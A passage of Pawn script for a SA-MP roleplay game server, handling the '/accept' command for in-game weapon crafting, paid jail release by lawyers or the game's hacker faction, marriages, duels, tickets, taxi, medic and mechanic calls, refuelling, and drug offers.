						PlayerPlaySound(giveplayerid, 1052, 0.0, 0.0, 0.0);
						format(string, sizeof(string), "%s created a %s from materials and hands it to %s.", giveplayer,gunname,sendername);
						ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
						GivePlayerKolang(playerid,weapon[playerid],ammo[playerid]);
						PlayerInfo[giveplayerid][pMats] -= Mat[playerid];
						SaveKonVal(giveplayerid, "pMats", PINFO[giveplayerid][pMats]);
						AccGun[playerid] += 1;
						GivePlayerPool(playerid, -money);
						GivePlayerPool(giveplayerid, money);
						Tofang[playerid] = 9999;
								} else { SCM(playerid,COLOR_WHITE,"You dont have enough money with you!"); return 1; }
							} else { SCM(playerid,COLOR_WHITE,"That player dont have enough materials!"); return 1; }
						} else { SCM(playerid,COLOR_WHITE,"That player isnt near of you"); return 1; }
					} else { SCM(playerid,COLOR_WHITE,"Invalid PlayerID"); return 1; }
				}
				else if(strcmp(x_job,"free",true) == 0)
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /[acc]ept Free <Playerid/PartOfName>");
						return 1;
					}
					giveplayerid = ReturnUser6(tmp);
						if(IsPlayerConnected(playerid))
						{
						if(!IsPlayerConnected(giveplayerid)) { SCM(playerid, COLOR_RED, "That player is not connected"); return 1; }
						if(giveplayerid == playerid) { SendMessage(playerid, COLOR_GREY, "You cannot accept yourself!"); return 1; }
						if(PlayerInfo[playerid][pJailTime] >= 1)
						{
						if(SellFree[giveplayerid] == playerid && BuyFree[playerid] == giveplayerid)
						{
						 new price = FreePriceOffer[giveplayerid];
						if(GetPlayerPool(playerid) < price) { SCM(playerid, COLOR_RED, "You dont have enough money"); return 1; }
						GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
						GetPlayerName(playerid, sendername, sizeof(sendername));
							format(string, sizeof(string), "* You have been free of jail by %s for $%s.", giveplayer, FormatNumber(price));
							SendMessage(playerid, COLOR_WHITE, string);
							format(string, sizeof(string), "* congratulation,Now you have free %s of jail for $%s !", sendername, FormatNumber(price));
							SendMessage(giveplayerid, COLOR_GREEN, string);
						GivePlayerPool(playerid, -price)
						GivePlayerPool(giveplayerid, price)
						PlayerInfo[giveplayerid][pApproval] --;
						SaveKonVal(giveplayerid, "pApproval", PINFO[giveplayerid][pApproval]);
							WantLawyer[playerid] = 0;
							CallLawyer[playerid] = 0;
							SellFree[giveplayerid] = 9999;
							PlayerInfo[playerid][pJailTime] = 1;
							if(PINFO[giveplayerid][pLawSkill] < 201)
							{
								PlayerInfo[giveplayerid][pLawSkill] ++;
								SaveKonVal(giveplayerid, "pLawSkill", PINFO[giveplayerid][pLawSkill]);
							}
							if(PlayerInfo[giveplayerid][pLawSkill] == 50)
							{ SendMessage(giveplayerid, COLOR_YELLOW, "* Your Lawyer Skill is now Level 2, you will can earn more Money and have more approvals at a time."); }
							else if(PlayerInfo[giveplayerid][pLawSkill] == 100)
							{ SendMessage(giveplayerid, COLOR_YELLOW, "* Your Lawyer Skill is now Level 3, you will can earn more Money and have more approvals at a time."); }
							else if(PlayerInfo[giveplayerid][pLawSkill] == 150)
							{ SendMessage(giveplayerid, COLOR_YELLOW, "* Your Lawyer Skill is now Level 4, you will can earn more Money and have more approvals at a time."); }
							else if(PlayerInfo[giveplayerid][pLawSkill] == 200)
							{ SendMessage(giveplayerid, COLOR_YELLOW, "* Your Lawyer Skill is now Level 5, you will can earn more Money and have more approvals at a time."); }
						}
						else { SCM(playerid, COLOR_RED, "That player isn't offered you free!"); return 1; }
						}
					}
				}
				else if(strcmp(x_job,"hfree",true) == 0)
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /[acc]ept hfree <Playerid/PartOfName>");
						return 1;
					}
					giveplayerid = ReturnUser6(tmp);
						if(IsPlayerConnected(playerid))
						{
						if(!IsPlayerConnected(giveplayerid)) { SCM(playerid, COLOR_YELLOW2, "Error: That player is not connected"); return 1; }
						if(giveplayerid == playerid) { SendMessage(playerid, COLOR_YELLOW2, "Error: You cannot accept yourself!"); return 1; }
						if(PINFO[giveplayerid][pHackPoints] < 5) { SendMessage(playerid, COLOR_YELLOW2, "Error: That player couldn't free you by hacking now"); return 1; }
						if(PlayerInfo[playerid][pJailTime] >= 1)
						{
						if(SellHFree[giveplayerid] == playerid && BuyHFree[playerid] == giveplayerid)
						{
						 new price = HFreePriceOffer[giveplayerid];
						if(GetPlayerPool(playerid) < price) { SCM(playerid, COLOR_YELLOW2, "Error: You dont have enough money"); return 1; }
						GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
						GetPlayerName(playerid, sendername, sizeof(sendername));
							format(string, sizeof(string), "* You accepted %s's free request with hacking by $%s.", giveplayer, FormatNumber(price));
							SendMessage(playerid, COLOR_WHITE, string);
							format(string, sizeof(string), "* %s has accepted your free request with hacking by $%s.", sendername, FormatNumber(price));
							SendMessage(giveplayerid, COLOR_GREEN, string);
							if(PINFO[playerid][pSex] == 1) SCM(giveplayerid, COLOR_SINARANG, "Bring him in front of original jail door.");
							if(PINFO[playerid][pSex] != 1) SCM(giveplayerid, COLOR_SINARANG, "Bring her in front of original jail door.");
							SCM(playerid, COLOR_SINARANG, "Go out from jail.");
						GivePlayerPool(playerid, -price)
						GivePlayerPool(giveplayerid, price)
						PlayerInfo[giveplayerid][pHackPoints] -= 5;
						SaveKonVal(giveplayerid, "pHackPoints", PINFO[giveplayerid][pHackPoints]);
						        new hwarn[144];
		new name[MAX_PLAYER_NAME];
		new namez[MAX_PLAYER_NAME];
        new rankname[50];
        if(PINFO[playerid][pRank] == 1) rankname = "New Hacker";
        if(PINFO[playerid][pRank] == 2) rankname = "Trial Hacker";
        if(PINFO[playerid][pRank] == 3) rankname = "Hacker";
        if(PINFO[playerid][pRank] == 4) rankname = "Perfect Hacker";
        if(PINFO[playerid][pRank] == 5) rankname = "Old Hacker";
        if(PINFO[playerid][pRank] == 6) rankname = "Private Hacker";
        if(PINFO[playerid][pRank] == 7) rankname = "Hackers Leader";
        GetPlayerName(giveplayerid, name, sizeof(name));
        GetPlayerName(playerid, namez, sizeof(namez));
		format(hwarn,sizeof(hwarn),"[Unknowns]: {ffffff}Player %s has accepted %s %s's free with hacking offer",namez,rankname,name);
		SendHackerMessage(COLOR_HACKER, hwarn);
							WantLawyer[playerid] = 0;
							CallLawyer[playerid] = 0;
							SellHFree[giveplayerid] = 9999;
							BuyHFree[giveplayerid] = 9999;
                            HFreePriceOffer[giveplayerid] = 0;
                            ICanFree[playerid] = 1;
				            PlayerInfo[giveplayerid][pFAct1] += 1;
				            SaveKonVal(giveplayerid, "pFAct1", PINFO[giveplayerid][pFAct1]);
						}
						else { SCM(playerid, COLOR_YELLOW2, "Error: That player is not offered you free from jail by hacking."); return 1; }
						}
					}
				}
				else if(strcmp(x_job,"approval",true) == 0)
				{
				   tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /[acc]ept Approval <Playerid/PartOfName>");
						return 1;
					}
					  giveplayerid = ReturnUser6(tmp);
					if(SellApproval[giveplayerid] != playerid)
						{
						SCM(playerid, COLOR_RED, "That player not offered you approval!");
						return 1;
						}
				  if(PlayerInfo[playerid][pJob] == 2)
				  {
					if(BuyApproval[playerid] == giveplayerid)
					  {
						if(SellApproval[giveplayerid] == playerid)
						  {
						GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
						GetPlayerName(playerid, sendername, sizeof(sendername));
						new price = ApprovalPriceOffer[giveplayerid];
						if(GetPlayerPool(playerid) < price) { SCM(playerid, COLOR_RED, "You dont have enough money!"); return 1; }
						new lawskill = PlayerInfo[playerid][pLawSkill];
						 if(lawskill <= 50 && PlayerInfo[playerid][pApproval] == 0) { PlayerInfo[playerid][pApproval] = 1;
						GivePlayerPool(playerid, -price); GivePlayerPool(giveplayerid, price); }
					else if(lawskill >= 51 && lawskill <= 100 && PlayerInfo[playerid][pApproval] <= 1) { PlayerInfo[playerid][pApproval] ++;
						GivePlayerPool(playerid, -price); GivePlayerPool(giveplayerid, price); }
					else if(lawskill >= 101 && lawskill <= 150 && PlayerInfo[playerid][pApproval] <= 2) { PlayerInfo[playerid][pApproval] ++;
						GivePlayerPool(playerid, -price); GivePlayerPool(giveplayerid, price); }
					else if(lawskill >= 151 && lawskill <= 200 && PlayerInfo[playerid][pApproval] <= 3) { PlayerInfo[playerid][pApproval] ++;
						GivePlayerPool(playerid, -price); GivePlayerPool(giveplayerid, price); }
					else if(lawskill >= 201 && PlayerInfo[playerid][pApproval] <= 4) { PlayerInfo[playerid][pApproval] ++;
						GivePlayerPool(playerid, -price); GivePlayerPool(giveplayerid, price); }
					else { SCM(playerid, COLOR_RED, "You have maximum approvals for this skill,first use /free !");
					return 1;
						 }
						 SaveKonVal(playerid, "pApproval", PINFO[playerid][pApproval]);
					PlayerInfo[giveplayerid][pLawyerPoint] = 0;
					SaveKonVal(giveplayerid, "pLawyerPoint", 0);
					SellApproval[giveplayerid] = 9999;
					BuyApproval[playerid] = 9999;
					 format(string, sizeof(string), "Officer %s has gave you 1 approval for $%s , Now you can use /free.", giveplayer, FormatNumber(price));
					SCM(playerid, COLOR_LIGHTBLUE,string);
						format(string, sizeof(string), "You allowed %s to free a Jailed Person for $%s.", sendername, FormatNumber(price));
						SendMessage(giveplayerid, COLOR_LIGHTBLUE,string);
						return 1;
						}
						 }
					   }
					else
					{
					SCM(playerid, COLOR_WHITE, "You are not a lawyer.");
					return 1;
					}
					}
				else if(strcmp(x_job,"witness",true) == 0)
				{
					if(MarryWitnessOffer[playerid] < INVALID_PLAYER_ID)
					{
						if(IsPlayerConnected(MarryWitnessOffer[playerid]))
						{
							if(ProxDetectorS(10.0, playerid, MarryWitnessOffer[playerid]))
							{
								GetPlayerName(MarryWitnessOffer[playerid], giveplayer, sizeof(giveplayer));
								GetPlayerName(playerid, sendername, sizeof(sendername));
								format(string, sizeof(string), "* You have accepted %s's request to be %s Marriage Witness.", giveplayer, (PINFO[MarryWitnessOffer[playerid]][pSex]==1)?("his"):("her"));
								SendMessage(playerid, COLOR_WHITE, string);
								format(string, sizeof(string), "* %s has accepted your request to be your Marriage Witness.", sendername);
								SendMessage(MarryWitnessOffer[playerid], COLOR_WHITE, string);
								MarryWitness[MarryWitnessOffer[playerid]] = playerid;
								MarryWitnessOffer[playerid] = INVALID_PLAYER_ID;
								return 1;
							}
							else
							{
								SendMessage(playerid, COLOR_GREY, "   The player that requested you to be their Marriage Witness is not near you !");
								return 1;
							}
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "   No-one asked you to be their Marriage Witness !");
						return 1;
					}
				}
				else if(strcmp(x_job,"marriage",true) == 0)
				{
					if(ProposeOffer[playerid] < INVALID_PLAYER_ID)
					{
						if(!PlayerToPoint(10.0, playerid, 2488.8267,918.3220,11.0234))
						{
							SendMessage(playerid, COLOR_GREY, "   You are not at the Church in Jefferson !");
							return 1;
						}
						if(IsPlayerConnected(ProposeOffer[playerid]))
						{
							if(ProxDetectorS(10.0, playerid, ProposeOffer[playerid]))
							{
								if(MarryWitness[ProposeOffer[playerid]] == INVALID_PLAYER_ID)
								{
									SendMessage(playerid, COLOR_GREY, "   The proposer doesn't have a Marriage Witness !");
									return 1;
								}
								if(IsPlayerConnected(MarryWitness[ProposeOffer[playerid]]))
								{
									if(ProxDetectorS(12.0, ProposeOffer[playerid], MarryWitness[ProposeOffer[playerid]]))
									{
										GetPlayerName(ProposeOffer[playerid], giveplayer, sizeof(giveplayer));
										GetPlayerName(playerid, sendername, sizeof(sendername));
										format(string, sizeof(string), "* You have accepted %s's request to be your Husband.", giveplayer);
										SendMessage(playerid, COLOR_WHITE, string);
										format(string, sizeof(string), "* %s has accepted your request to be your Wife.", sendername);
										SendMessage(ProposeOffer[playerid], COLOR_WHITE, string);
										format(string, sizeof(string), "Priest: %s do you take %s as your lovely Husband? (type 'yes', anything else will reject the Marriage)", sendername, giveplayer);
										SendMessage(playerid, COLOR_WHITE, string);
										MarriageCeremoney[playerid] = 1;
										ProposedTo[ProposeOffer[playerid]] = playerid;
										GotProposedBy[playerid] = ProposeOffer[playerid];
										MarryWitness[ProposeOffer[playerid]] = INVALID_PLAYER_ID;
										ProposeOffer[playerid] = INVALID_PLAYER_ID;
										return 1;
									}
									else
									{
										SendMessage(playerid, COLOR_GREY, "   The Marriage Witness is not near your proposer !");
										return 1;
									}
								}
								return 1;
							}
							else
							{
								SendMessage(playerid, COLOR_GREY, "   The player that proposed to you is not near you !");
								return 1;
							}
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "   No-one Proposed to you !");
						return 1;
					}
				}
				else if(strcmp(x_job,"duel",true) == 0)
				{
				if(DuelWith[playerid]==INVALID_PLAYER_ID)return Error(playerid, "Error: Nobody requested you for a duel.")
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp))return SCM(playerid,COL_SYN,"Syntax: /[acc]ept duel <Playerid/PartOfName>");
				new taraf = ReturnUser6(tmp), cht[144];
                if(!IsPlayerConnected(taraf))return Error(playerid, "Error: That player isn't connected.")
                if(DuelWith[playerid]!=taraf)return Error(playerid, "Error: This player didn't request you for a duel.")
				if(GetDistanceBetweenPlayers(playerid, taraf)>8.0)return Error(playerid, "Error: This player is too away from you.")
                if(GetPlayerPool(playerid)<DuelBy[playerid])return Error(playerid, "Error: You haven't enough money.")
		        if(PINFO[playerid][pGunLic]<=0)return Error(playerid, "Error: You haven't weapon license.")
		        if(GetPlayerState(playerid)!=PLAYER_STATE_ONFOOT)return Error(playerid, "Error: You are not onfoot.")
		        if(GetPlayerState(taraf)!=PLAYER_STATE_ONFOOT)return Error(playerid, "Error: That player isn't onfoot.")
		        format(cht, sizeof(cht), "%s has accpeted your duel request for $%s", RPName(playerid), FormatNumber(DuelBy[taraf]));
		        SCM(taraf, COLOR_LIGHTBLUE, cht);
		        format(cht, sizeof(cht), "You accepted %s's duel request for $%s", RPName(taraf), FormatNumber(DuelBy[playerid]));
		        SCM(playerid, COLOR_LIGHTBLUE, cht);
		        StartDuel(playerid, taraf);
				}
				else if(strcmp(x_job,"ticket",true) == 0)
				{
					if(TicketOffer[playerid] < 9999)
					{
					tmp = strtok(cmdtext,idx);
					if(!strlen(tmp))
					{
					SCM(playerid,COL_SYN,"Syntax: /[acc]ept ticket <Playerid/PartOfName>");
					return 1;
					}
					new giveplayers;
					giveplayers = ReturnUser6(tmp);
				if(giveplayers != TicketOffer[playerid]) return SCM(playerid,COL_SYN,"That player doesn't offer you anything.");
				if(GetPlayerPool(playerid) < TicketMoney[playerid]) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough money to accept this ticket.");
						if(IsPlayerConnected(TicketOffer[playerid]))
						{
							if (ProxDetectorS(5.0, playerid, TicketOffer[playerid]))
							{
								GetPlayerName(TicketOffer[playerid], giveplayer, sizeof(giveplayer));
								GetPlayerName(playerid, sendername, sizeof(sendername));
								format(string, sizeof(string), "You have paid the Ticket of $%d to Officer %s.", TicketMoney[playerid], giveplayer);
								SendMessage(playerid, COL_SYN, string);
								format(string, sizeof(string), "%s has paid your Ticket of $%d.", sendername, TicketMoney[playerid]);
								SendMessage(TicketOffer[playerid], COL_SYN, string);
								GivePlayerPool(playerid, - TicketMoney[playerid]);
								GivePlayerPool(TicketOffer[playerid], TicketMoney[playerid]);
								TicketOffer[playerid] = 9999;
								TicketMoney[playerid] = 0;
								PlayerInfo[giveplayers][pFAct2] += 1;
				                SaveKonVal(giveplayers, "pFAct2", PINFO[giveplayers][pFAct2]);
								return 1;
							}
							else
							{
								SendMessage(playerid, COLOR_GREY, "The Officer is not near you.");
								return 1;
							}
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "No-one offered you a Ticket.");
						return 1;
					}
				}

				else if(strcmp(x_job,"taxi",true) == 0)
				{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /[acc]ept Taxi <Playerid/PartOfName>");
					return 1;
				}
				TaxiCall = ReturnUser6(tmp);
				if(PlayerInfo[playerid][pMember] == 10 || PlayerInfo[playerid][pLeader] == 10)
				{

					if(TransportDuty[playerid] != 1)
					{
						SendMessage(playerid, COLOR_GREY, "   You are not on duty !");
						return 1;
					}
					if(OnCheckpoint[playerid] == 1) return SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
				if(!IsPlayerConnected(TaxiCall) || TaxiCall == INVALID_PLAYER_ID) { SCM(playerid, COLOR_RED, "Invalid player ID"); return 1; }
					if(TaxiCallTime[playerid] > 0)
					{
						SendMessage(playerid, COLOR_GREY, "   You have already accepted a Taxi Call !");
						return 1;
					}
				if(IWantTaxi[TaxiCall] == 0)
				{
				SCM(playerid, COLOR_GREY, "That player didn't need a taxi yet.");
				return 1;
				}

					if(IWantTaxi[TaxiCall] == 1)
					{
						if(IsPlayerConnected(TaxiCall))
						{
							GetPlayerName(playerid, sendername, sizeof(sendername));
							GetPlayerName(TaxiCall, giveplayer, sizeof(giveplayer));

							format(string, sizeof(string), "* You have accepted the Taxi Call from %s, you will see the marker untill you have reached it.",giveplayer);
							SendMessage(playerid, COLOR_WHITE, string);
							format(string, sizeof(string), "* %s has accepted taxi call from %s ",sendername, giveplayer);
							SendFamilyMessage(10, COLOR_RED, string, string);
							format(string, sizeof(string), "Taxi Driver %s has accepted your Taxi Call please wait at your current Position.",sendername);
							SendMessage(TaxiCall, COLOR_TAXI, string);
							GameTextForPlayer(playerid, "~w~Taxi Caller~n~~r~Goto redmarker", 5000, 1);
							TaxiCallTime[playerid] = 1;
							TaxiAccepted[playerid] = TaxiCall;
							IWantTaxi[TaxiCall] = 0;
							IAcceptTaxi[playerid] = 1;
							return 1;
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "That player isn't need a taxi yet.");
						return 1;
					}
				}
				else
				{
				SCM(playerid, COLOR_TAXI, "You are not a taxi driver.");
				return 1;
				}
			}

		else if(strcmp(x_job,"medic",true) == 0)
				{
					if(PlayerInfo[playerid][pMember] == 4 || PlayerInfo[playerid][pLeader] == 4)
					{
			tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /[acc]ept Medic <Playerid/PartOfName>");
					return 1;
				}
				MedicCall = ReturnUser6(tmp);
						if(MedicCallTime[playerid] > 0)
						{
							SendMessage(playerid, COLOR_GREY, "   You have already accepted a Medic Call !");
							return 1;
						}
						if(OnCheckpoint[playerid] == 1) return SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
						if(IWantMedic[MedicCall] == 1)
						{
							if(IsPlayerConnected(MedicCall))
							{
								GetPlayerName(playerid, sendername, sizeof(sendername));
								GetPlayerName(MedicCall, giveplayer, sizeof(giveplayer));
								format(string, sizeof(string), "* You have accepted the Medic Call from %s, go to the position.",giveplayer);
								SendMessage(playerid, COLOR_WHITE, string);

								format(string, sizeof(string), "* Medic %s has accepted your Medic Call please wait at your current Position.",sendername);
								SendMessage(MedicCall, COLOR_WHITE, string);
								format(string, sizeof(string), "* %s has accepted Medic Call from %s .",sendername, giveplayer);
								SendFamilyMessage(4, COLOR_WHITE, string, string);
								GameTextForPlayer(playerid, "~w~Medic Caller~n~~r~Goto redmarker", 5000, 1);
								MedicCallTime[playerid] = 1;
								MedicAccepted[playerid] = MedicCall;
								IWantMedic[MedicCall] = 0;
								return 1;
							}
					else { SendMessage(playerid, COLOR_GREY, "That player didn't need a medic yet."); return 1; }
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "That player didn't need a medic yet.");
							return 1;
						}
					}
					else
					{
						SendMessage(playerid, COLOR_MEDIC, "You are not a medic.");
						return 1;
					}
				}
				else if(strcmp(x_job,"mechanic",true) == 0)
				{
					if(PlayerInfo[playerid][pJob] == 7)
				   {
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /[acc]ept Mechanic <Playerid/PartOfName>");
					return 1;
				}
				MechanicCall = ReturnUser6(tmp);
					if(MechanicCallTime[playerid] > 0)
					{
						SendMessage(playerid, COLOR_GREY, "You have already accepted a Mechanic Call !");
						return 1;
					}
					if(OnCheckpoint[playerid] == 1) return SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
					if(IWantMechanic[MechanicCall] == 1)
					{
						if(IsPlayerConnected(MechanicCall))
						{
						if(MechanicCall == playerid) return SCM(playerid,COLOR_LIGHTBLUE,"You cannot accept your self");
							GetPlayerName(playerid, sendername, sizeof(sendername));
							GetPlayerName(MechanicCall, giveplayer, sizeof(giveplayer));
							format(string, sizeof(string), "You have accepted the Mechanic Call from %s, go to that position.",giveplayer);
							SendMessage(playerid, COLOR_LIGHTBLUE, string);

							format(string, sizeof(string), "Car Mechanic %s has accepted your Mechanic Call please wait at your current Position.",sendername);
							SendMessage(MechanicCall, COLOR_LIGHTBLUE, string);
							format(string, sizeof(string), "%s has accepted Mechanic Call from %s.",sendername, giveplayer);
							SendJobMessage(7, COLOR_LIGHTBLUE, string);
							GameTextForPlayer(playerid, "~w~Mechanic Caller~n~~r~Goto redmarker", 5000, 1);
							MechanicCallTime[playerid] = 1;
							MechanicAccepted[playerid] = MechanicCall;
							IWantMechanic[MechanicCall] = 0;
							return 1;
						}
					}
					else
					{
						SendMessage(playerid, COLOR_LIGHTBLUE, "That player didn't need a mechanic yet.");
						return 1;
					}
				}
				}
				else if(strcmp(x_job,"refill",true) == 0)
				{
				if(AccRefill[playerid] >= 5) {
				SCM(playerid, COLOR_YELLOW2, "Error: You are flooding. wait for 30 seconds.");
				SetTimerEx("AccRefillT", 30000, 0, "d", playerid);
				return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /[acc]ept Refill <Playerid/PartOfName>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_LIGHTRED,"You are not a vehicle.");
					if(RefillOffer[playerid] == giveplayerid)
					{
						if(IsPlayerConnected(giveplayerid))
						{
						new vehicle = GetPlayerVehicleID(playerid);
						 if(GetPlayerState(playerid) != PLAYER_STATE_DRIVER) { SCM(playerid,COLOR_LIGHTBLUE,"You are not driver of this vehicle"); return 1; }
						 if(EngineSTATE[GetPlayerVehicleID(playerid)] == 1) { SCM(playerid,COLOR_LIGHTBLUE,"First Engine off your vehicle"); return 1; }
						 if(giveplayerid == playerid) return SCM(playerid,COLOR_LIGHTBLUE,"You cannot accept yourself");
							if(GetPlayerPool(playerid) > RefillPrice[playerid] && Benzin[vehicle] < 110)
							{
								GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
								GetPlayerName(playerid, sendername, sizeof(sendername));

								new fueled;
								if(PINFO[giveplayerid][pMechSkill] < 401)
								{
									PlayerInfo[giveplayerid][pMechSkill] ++;
									SaveKonVal(giveplayerid, "pMechSkill", PINFO[giveplayerid][pMechSkill]);
								}
								if(PlayerInfo[giveplayerid][pMechSkill] == 50)
								{ SendMessage(giveplayerid, COLOR_YELLOW, "* Your Car Mechanic Skill is now Level 2, you can add more Fuel to any Players Cars."); }
								else if(PlayerInfo[giveplayerid][pMechSkill] == 100)
								{ SendMessage(giveplayerid, COLOR_YELLOW, "* Your Car Mechanic Skill is now Level 3, you can add more Fuel to any Players Cars."); }
								else if(PlayerInfo[giveplayerid][pMechSkill] == 200)
								{ SendMessage(giveplayerid, COLOR_YELLOW, "* Your Car Mechanic Skill is now Level 4, you can add more Fuel to any Players Cars."); }
								else if(PlayerInfo[giveplayerid][pMechSkill] == 400)
								{ SendMessage(giveplayerid, COLOR_YELLOW, "* Your Car Mechanic Skill is now Level 5, you can add more Fuel to any Players Cars."); }
								new level = PlayerInfo[giveplayerid][pMechSkill];
								if(level >= 0 && level <= 50 && Benzin[vehicle] < 110)
								{ Benzin[vehicle] = Benzin[vehicle] + 20; fueled = 20; }
								else if(level >= 51 && level <= 100 && Benzin[vehicle] < 110)
								{ Benzin[vehicle] = Benzin[vehicle] + 40; fueled = 40; }
								else if(level >= 101 && level <= 200 && Benzin[vehicle] < 110)
								{ Benzin[vehicle] = Benzin[vehicle] + 60; fueled = 60; }
								else if(level >= 201 && level <= 400 && Benzin[vehicle] < 110)
								{ Benzin[vehicle] = Benzin[vehicle] + 80; fueled = 80; }
								else if(level >= 401 && Benzin[vehicle] < 110)
								{ Benzin[vehicle] = Benzin[vehicle] + 100; fueled = 100; }
								format(string, sizeof(string), "* Your vehicle refilled with %d%, for $%d by Car Mechanic %s.",fueled,RefillPrice[playerid],giveplayer);
								SendMessage(playerid, COLOR_WHITE, string);
								format(string, sizeof(string), "* You refilled %s's car with %d%, for $%d.",sendername,fueled,RefillPrice[playerid]);
								SendMessage(giveplayerid, COLOR_WHITE, string);
								AccRefill[playerid] += 1;
								GivePlayerPool(giveplayerid, RefillPrice[playerid]);
								GivePlayerPool(playerid, -RefillPrice[playerid]);

								RefillOffer[playerid] = INVALID_PLAYER_ID;
								RefillPrice[playerid] = 0;
								return 1;
							}
							else
							{
								SendMessage(playerid, COLOR_GREY, "   You cant afford the Refill !");
								return 1;
							}
						}
						return 1;
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "   No-one offered to Refill your Car !");
						return 1;
					}
				}
				else if(strcmp(x_job,"live",true) == 0)
				{
					if(LiveOffer[playerid] < INVALID_PLAYER_ID)
					{
						if(IsPlayerConnected(LiveOffer[playerid]))
						{
							if (ProxDetectorS(5.0, playerid, LiveOffer[playerid]))
							{
								SendMessage(playerid, COLOR_WHITE, "* You are frozen till the Live Conversation ends.");
								SendMessage(LiveOffer[playerid], COLOR_WHITE, "* You are frozen till the Live Conversation ends (use /live again).");
								TogglePlayerControllable(playerid, 0);
								TogglePlayerControllable(LiveOffer[playerid], 0);
								TalkingLive[playerid] = LiveOffer[playerid];
								TalkingLive[LiveOffer[playerid]] = playerid;
								LiveOffer[playerid] = INVALID_PLAYER_ID;
				                PlayerInfo[LiveOffer[playerid]][pFAct2] += 1;
				                SaveKonVal(LiveOffer[playerid], "pFAct2", PINFO[LiveOffer[playerid]][pFAct2]);
								return 1;
							}
							else
							{
								SendMessage(playerid, COLOR_GREY, "   You are to far away from the News Reporter !");
								return 1;
							}
						}
						return 1;
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "   No-one gave you a Live Conversation offer !");
						return 1;
					}
				}
				else if(strcmp(x_job,"lawyer",true) == 0)
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /[acc]ept Lawyer <Playerid/PartOfName> <Price>");
						return 1;
					}
					giveplayerid = ReturnUser6(tmp);
					if (gTeam[playerid] == TEAM_COP)
					if(PlayerInfo[playerid][pRank] >= 3)
					{
					if(PlayerInfo[playerid][pLawyerPoint] == 20)
					{
						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
								if(PlayerInfo[giveplayerid][pJob] == 2)
								{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COLOR_WHITE, "HINT: /[acc]ept lawyer <Playerid/PartOfName> [price]");
							return 1;
						}
						new price;
						price = strval(tmp);
						if(price < 3000 || price > 10000)
										{
											SendMessage(playerid, COLOR_GREY, "** Price not lower then 3,000$ and not higher then 10,000$! ");
											return 1;
										}
								if(SellApproval[playerid] != 9999)
							{ SCM(playerid, COLOR_WHITE, "You already sent a offer !"); return 1; }
								new Float:x, Float:y, Float:z;
							GetPlayerPos(giveplayerid,x,y,z);
							if(PlayerToPoint(5, playerid, x, y, z))
							{
									GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
									GetPlayerName(playerid, sendername, sizeof(sendername));
									format(string, sizeof(string), "Officer %s offered you to give you 1 approval for $%s (type /[acc]ept approval %d) to buy.", sendername, FormatNumber(price),playerid);
									SCM(giveplayerid, COLOR_BLUE,string);
									 format(string, sizeof(string), "* You offered %s to sell 1 approval for %s$.", giveplayer, FormatNumber(price));
									 SendMessage(playerid, COLOR_BLUE,string);

									SellApproval[playerid] = giveplayerid;
									BuyApproval[giveplayerid] = playerid;
									ApprovalPriceOffer[playerid] = price;
									return 1;
									 }
							else { SCM(playerid, COLOR_RED, "That player is not near of you."); return 1; }
								}
							else { SCM(playerid, COLOR_RED, "That player is not a lawyer."); return 1; }
							}
						}
						return 1;
					}
					else { SCM(playerid, COLOR_WHITE, "You dont have 20 lawyer points !"); return 1; }
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "Invalid action! (You are no cop / Player aint a Lawyer / Bad ID / only rank +3 can accept lawyers)");
						return 1;
					}
				}

				else if(strcmp(x_job,"drugs",true) == 0)
				{

				if(AccDrugs[playerid] >= 5) {
				SCM(playerid, COLOR_YELLOW2, "Error: You are flooding. wait for 30 seconds.");
				SetTimerEx("AccDrugsT", 30000, 0, "d", playerid);
				return 1;
				}
				tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /[acc]ept Drugs <Playerid/PartOfName>");
						return 1;
					}
					giveplayerid = ReturnUser6(tmp);
					if(DrugOffer[playerid] == giveplayerid && DrugSell[giveplayerid] == playerid)
					{
						if(GetPlayerPool(playerid) > DrugPrice[playerid])
						{
							if(PlayerInfo[playerid][pDrugs] < 7)
							{
								if(IsPlayerConnected(DrugOffer[playerid]))
								{
								if(PlayerInfo[DrugOffer[playerid]][pDrugs] < DrugGram[playerid])
								{
